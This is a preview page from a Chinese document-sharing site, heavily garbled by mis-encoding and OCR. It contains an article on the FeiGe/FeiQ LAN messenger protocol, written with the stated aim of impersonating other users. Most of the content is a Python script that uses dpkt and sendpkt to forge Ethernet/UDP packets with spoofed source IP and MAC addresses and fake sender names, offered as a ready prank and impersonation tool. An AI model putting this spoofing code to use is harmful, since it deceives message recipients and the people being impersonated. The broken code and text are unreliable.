FeiQ傳輸協(xié)議分析_第1頁(yè)
FeiQ傳輸協(xié)議分析_第2頁(yè)
FeiQ傳輸協(xié)議分析_第3頁(yè)
FeiQ傳輸協(xié)議分析_第4頁(yè)
FeiQ傳輸協(xié)議分析_第5頁(yè)
免費(fèi)預(yù)覽已結(jié)束,剩余6頁(yè)可下載查看

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、我們常在局域網(wǎng)內(nèi)用飛鴿進(jìn)行溝通、文件傳輸。有天突發(fā)奇想,要是我能冒充某給人給另外一個(gè)人發(fā)送飛鴿消息,該多有趣?有了想法,就該去實(shí)現(xiàn),不然就是空想了。不過(guò)還真空想了段時(shí)間,但最后還是寫(xiě)出了個(gè)小程序,和大家分享下。要想冒充他人,首先得了解下飛鴿協(xié)議(見(jiàn) http: 代碼1.importsocket2.udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)3.udp.connect(localhost,2425)4.udp.send(1:100:flyingzl:flyingzl:32:縱我不往,子寧不嗣音?)5.516.:C:Wtndovssyste

2、ni32cmd.exe-一importsocketudp-&ocket.socket(socket*AF_INETsocket.S0CH_DGRAMudpRconnectudpqemK,工:1n,35皿1:門(mén)95皿1=32=縱我不往,子寧不嗣音?51對(duì)方形象照片治遠(yuǎn)程協(xié)助,江南三工 1 爰語(yǔ)音對(duì)話(huà)&共享文件如苴建設(shè)話(huà)聯(lián)系作者盧本陶!fliflyingzl(flyinxlflyinjzl00:07:27規(guī)找不往,子寧不嗣音?5對(duì)方資料(0A-0(M0-O0-7C-0A)用戶(hù)名:l”n 中工主機(jī):fLyingil 登錄名:Rr 牌工工組名:我的好友豌地址 12 工

3、。0,1對(duì)話(huà)記錄全部記錄閃屏振動(dòng)關(guān)閉發(fā)送文件監(jiān)視目錄文件取消簡(jiǎn)單說(shuō)明下代碼:飛鴿運(yùn)行時(shí),會(huì)監(jiān)聽(tīng) UDP 和 TCP 的 2425 端口,所以我們首先要和本地建立 UDP 連接,TCP 連接一般用來(lái)發(fā)送文件等。1:100:flyingzl:flyingzl:32:縱我不往,子寧不嗣音?是飛鴿的協(xié)議字符串,1 表示版本號(hào),100 標(biāo)識(shí)包號(hào),flyingzl 表示用戶(hù)名,第二個(gè) flyingzl 表示主機(jī)名,32 表示發(fā)送消息,后面的表示要發(fā)送的消息內(nèi)容。這是飛鴿的協(xié)議,后面我們會(huì)看到飛鴿和飛秋又有所不同我們可以通過(guò) socket 連機(jī)其他人的飛秋并給他們發(fā)送消息,但是通過(guò) socket 發(fā)送出去的

4、數(shù)據(jù)包會(huì)默認(rèn)帶上我們自己的 ip 地址和 mac 地址,怎么樣才能修改這些數(shù)據(jù)包呢?有辦法,windows 上不是有 wincap 么,linux 上不是有 libnet 么,它們都有 python 擴(kuò)展,叫做 sendpkt,直接調(diào)用就好了。關(guān)于怎么使用,可以看之前我的帖子 http: sendpkt,我們可以自己構(gòu)造以太網(wǎng)數(shù)據(jù)包,自己定義源 ip 地址和源 mac 地址,這樣就神不知鬼不覺(jué)地欺騙他人。現(xiàn)在的問(wèn)題是:怎么構(gòu)建以太網(wǎng)數(shù)據(jù)包。由于飛秋發(fā)送消息是采用 UDP 協(xié)議,所以我們只需要構(gòu)建一個(gè) UDP 數(shù)據(jù)包,然后加上我們的內(nèi)容就可以了。構(gòu)建以太網(wǎng)數(shù)據(jù)包可以采用 dpkt,非常方便?,F(xiàn)在

5、,我們用 wireshark 來(lái)分析飛秋的協(xié)議。打開(kāi)個(gè)飛鴿,點(diǎn)擊刷新,就能看到 wireshark 捕獲的數(shù)據(jù)包:rMCapturingfromBroadcomNetXtremeGigabitEthernetDriver-Wireshade.u但.FileEditViewGoCaptureAnalyzetatistiesTelephoryToolsHelpleiMMaai.國(guó)髯0昌 g 華哈3春生!回國(guó)&Alter:udpHsrcpcrteq2425orudp.dtportuq2425 Expression. ClearApply源地址目標(biāo)地址w詳弊信息00255

6、.255.255.255UDPSourceport:fjitsuappmt1192,168,0.100255.255,255.255UDPSource 0-KR41因DHill192.168.10100UDPsourceport:fjitsuappm(192,16fi.0.100192,166.0.101UDPSourceport:fjitsuappn)(192.158.0,101192.168.0,100UDPsourceport:fjltsuappmSU:tiroaacasrirr:rrJriinternetProtocoltsrc :192*168*0.100(19

7、2-168.0.100),DSt:255.255*255.255(255.+1UserDatagramProtocol,SrcPort;fjitsuappmgr(2425),DstPort:fjitsuappnigr(2 日Data(9。byres)Data:315f6c6274345f313O233332B83939233O3O323438313632.Length:90importsocket2.udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)3.udp.connect(localhost,2425)4.udp.send(1_lbt4_

8、10#32899#002481627512#0#0#0:1289671407:flyingzl:flyingzl:288:一日不見(jiàn),如三月兮)5.866.rai言連員:C:Windowssystem32crr.d.exe-pythinportsocketudp=socet_soclietudp,connect*locilhostJ,24255udp.sendl_lbt4_10#3289911002481627512tt0tt0tt0:1289S71407:flying21:flyinga1:288二一日不見(jiàn),如三月兮D8G細(xì)心的同學(xué)已經(jīng)發(fā)現(xiàn),這次截圖和上次截圖顯示不一樣,上次截圖顯示的是飛鴿圖

9、標(biāo),這次卻是飛秋圖標(biāo)呵呵。因?yàn)槲覀儼l(fā)送的是飛秋命令字。有了飛秋命令字,我們就可以構(gòu)建數(shù)據(jù)包,發(fā)送修改過(guò)的飛秋數(shù)據(jù)包了。啥都不說(shuō)了,上代碼:Python 代碼1.#coding=utf-82.importdpkt3.importsendpkt4.fromsocketimportinet_aton5.fromtimeimportstrftime6.importsocket7.importtypes8.importuuid9.10. #本地網(wǎng)關(guān) MAC 地址,可以通過(guò)如下方式獲取:11. #C:UsersAdministratorarp-a12. #接口:00-0 xb13.

10、#Internet 地址物理地址類(lèi)型14. #00-03-47-ca-e4-5c 動(dòng)態(tài)15. MASK_MAC=c-af-f7-c0-65-a816.17.defget_local_mac():獲得本機(jī) Mac 地址“mac=uuid.uuid1().hex-12:return-.join(mac(i-1)*2:2*iforiinrange(1,7)defsend_msg(kwargs):發(fā)送消息,kwargs 參數(shù)為一個(gè) dict 對(duì)象“iftype(kwargs)isnottypes.DictType:return# 本機(jī) ip 地址local_ip=kwargs.g

11、et(src,socket.gethostbyname(socket.gethostname()# 轉(zhuǎn)碼后的源 ip 地址src_ip=inet_aton(local_ip)# 轉(zhuǎn)碼后的目的 ip 地址dst_ip=inet_aton(kwargs.get(dst)# 本機(jī) mac 地址local_mac=kwargs.get(src_mac,get_local_mac()# 轉(zhuǎn)碼后的源 mac 地址src_mac=pack_mac(local_mac)# 判斷 remote_ip 和 local_ip 是否在同一個(gè)網(wǎng)段# 轉(zhuǎn)碼后的目的 mac 地址dst_mac=pack_mac(kwarg

12、s.get(dst_mac)iftrans(local_ip)=trans(kwargs.get(dst)elsepack_mac(MASK_MAC)host=kwargs.get(host,socket.gethostname()46. user=kwargs.get(user,User)5.47. .msg=kwargs.get(msg,Hello)48.49.#找到第一個(gè)網(wǎng)絡(luò)端口,根據(jù)自己的情況修改50.#安裝了 Virtua

13、lBox、VMWare 或者有無(wú)線(xiàn)網(wǎng)卡的同學(xué)得自己修改下51.device=sendpkt.findalldevs()052.#飛鴿監(jiān)聽(tīng)本地的 UDP2425 端口53.udp=dpkt.udp.UDP(dport=2425,sport=2425)54.#向飛鴿發(fā)送消息命令字55.#6291458 表示下線(xiàn)56.#6291457 表示上線(xiàn)57.#288 表示發(fā)送信息58.#如果是飛秋,65664 這個(gè)狀態(tài)會(huì)在對(duì)方上顯示為兩個(gè)太陽(yáng)59.msg=1_lbt4_10#65664#%s#0#0#0:%s:%s:%s:288:%s60.%(local_mac.replace(-,),int(strfti

14、me(%m%d%H%M 為 S+100000000,user,host,msg)61.msg=msg.encode(gbk)62.udp.data+=msg63.udp.ulen=len(udp)64.65.ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP)66.#重新 if 算 ip 的長(zhǎng)度,不然消息發(fā)送不出去67.ip.len=len(ip)68.69.ether=dpkt.ethernet.Ethernet(70.dst=dst_mac,71.src=src_mac,72.type=0 x0800,73

15、.data=ip74.)75.sendpkt.sendpacket(str(ether),device)76.77.deftrans(ip,mask=):78.79.判斷兩個(gè) ip 地址是否在同一個(gè)網(wǎng)段80.81.str=82.ip=ip.split(.)83.mask=mask.split(.)84.forindex,iteminenumerate(ip):85.str.append(int(item)&int(maskindex)86.returnstr87.88.89.defpack_mac(mac,pattern=-):網(wǎng)卡地址轉(zhuǎn)為以太網(wǎng) Mac 地址

16、例如將08-00-27-ba-f7-e5轉(zhuǎn)為x08x00 xbaxf7xe5mac=mac.split(pattern.lower()return.join(chr(int(0 x+x,16)forxinmac)_name_=_main_98.s=99.src:06,100.dst:00,101.src_mac:00-15-AF-AE-E6-C0,102.#這個(gè)地址最好別寫(xiě)錯(cuò),可以從飛鴿上看到好友的 Mac 地址103.dst_mac:00-24-81-62-75-12,104.host:哈哈,105.user:呵呵,106.msg:加班呀?107.

17、108.send_msg(s)代碼我就不解釋了,大家可以看里面的注釋?zhuān)瑢?xiě)得比較明白。我們來(lái)測(cè)試下,看看效果。從之前的圖片上可以看到,我飛秋上就兩個(gè)好友,我們現(xiàn)在要憑空造出來(lái)一個(gè),他的 ip 是 06,mac 是00-15-AF-AE-E6-C0運(yùn)行后,可以看到這樣的結(jié)果:6.97.if貌似是可以欺騙成功了。不過(guò)如果要欺騙其他網(wǎng)段的飛秋好友,一定要修過(guò)代碼中的 MASK_MAC 字段,大家用 wireshark 分析飛秋的 UPD 數(shù)據(jù)包就知道了。如果大家有興趣,可以自己做個(gè)圖形化的界面,比如 web 頁(yè)面,可以圖形化的進(jìn)行欺騙。那就有意思了,比如:C?itI:8000DTP-UNKhp/thonchanlleng伏凄孫中恒第TL,.由西府計(jì)劃器筵電話(huà)孽博神啊touch人人網(wǎng)校內(nèi)-分享巳型發(fā)激活由胖人/而好美胃充|Administrator給主機(jī)國(guó)宴送消息厘,敷fflflj 一下.4 與Admmi,iritortWICRO$O-B

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論